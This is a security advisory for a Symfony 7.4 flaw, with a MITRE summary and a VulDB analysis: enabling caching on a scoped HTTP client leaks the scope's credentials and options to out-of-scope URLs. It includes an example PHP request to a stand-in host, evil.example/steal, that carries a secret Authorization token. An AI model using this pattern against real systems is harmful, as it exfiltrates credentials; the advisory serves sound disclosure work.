CVE-2026-133747 in symfony
Summary
by MITRE • 11/25/2026
Since Symfony 7.4, framework.http_client.scoped_clients can enable caching on a scoped client. FrameworkBundle then puts a CachingHttpClient inside the ScopingHttpClient, with the options of the scope as default options. CachingHttpClient merges them into every request. So the credentials of the scope, like auth_bearer, auth_basic or an Authorization header, are also sent to URLs outside the scope:
framework: http_client: scoped_clients: github.client: base_uri: 'https://api.github.com' headers: { Authorization: 'token GH-SECRET' }
caching: { enabled: true }
$githubClient->request('GET', 'https://evil.example/steal'); // sent with "Authorization: token GH-SECRET"
Every option of the scope applies outside of it, not only the credentials, for example verify_peer: false, a client certificate, proxy or resolve. Without caching, ScopingHttpClient sends no option of the scope to evil.example. Applications are affected when a scoped client with caching enabled requests a URL that an attacker can influence, absolute URLs included.
The CachingHttpClient of a scoped client is now registered without default options. ScopingHttpClient already applies them to the requests that match the scope.
Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.
Analysis
by VulDB Data Team • 11/25/2026
A critical security vulnerability exists within Symfony versions 7.4 and later regarding the interaction between scoped HTTP clients and their caching mechanisms. The issue arises when developers enable response caching on a scoped client, which causes the FrameworkBundle to wrap the ScopingHttpClient inside a CachingHttpClient while retaining the scope's default options as part of that configuration. This architectural decision leads to a fundamental flaw in how request headers and security credentials are propagated during cache lookups or subsequent requests made through the cached instance. Specifically, when a scoped client is configured with authentication parameters such as bearer tokens, basic auth credentials, or custom Authorization headers, these sensitive values are incorrectly merged into every outgoing request generated by the CachingHttpClient wrapper, regardless of whether the target URL falls within the defined scope boundaries.
The operational impact of this flaw is severe, as it results in the unintended leakage of high-privilege credentials to arbitrary external domains controlled by attackers. For instance, if an application configures a scoped client for GitHub API access with a specific bearer token and enables caching, any request made through that client to a URL influenced by an attacker will carry the original scope's authentication header. This means that even requests directed at malicious endpoints like evil.example will be transmitted with the legitimate authorization credentials intended only for the trusted service. Beyond credential leakage, this vulnerability also exposes other sensitive configuration options such as SSL verification settings, client certificates, proxy configurations, and DNS resolution overrides to untrusted destinations, potentially facilitating further attacks or data exfiltration scenarios that rely on authenticated network access from a compromised context.
This behavior represents a classic case of improper privilege isolation where security controls intended for specific resources are inadvertently applied globally within the scope of a component's lifecycle. The vulnerability aligns with CWE-200 Information Exposure, as it allows an attacker to gain unauthorized access to sensitive information through side-channel effects in request handling logic. Furthermore, from a threat modeling perspective using MITRE ATT&CK techniques, this flaw facilitates Credential Access and potentially Lateral Movement if the leaked credentials allow authentication against other internal or external services that trust the compromised token. The root cause lies in the CachingHttpClient not being registered with awareness of the scoping boundaries, causing it to treat scope-specific defaults as universal request parameters rather than context-dependent configurations.
To mitigate this vulnerability, developers must ensure they are running a patched version of Symfony where the CachingHttpClient is correctly instantiated without inheriting default options from its parent ScopingHttpClient when caching is enabled. The fix involves decoupling the cache layer from the scope's configuration so that authentication headers and other sensitive parameters are only applied to requests that strictly match the defined base URI or path patterns. Until an upgrade is performed, administrators should avoid enabling response caching on scoped HTTP clients that handle authenticated traffic or restrict the use of such clients to internal URLs where cross-origin credential leakage poses no risk. Additionally, implementing strict Content Security Policy headers and monitoring for unusual outbound authentication attempts can help detect potential exploitation in environments where immediate patching is not feasible.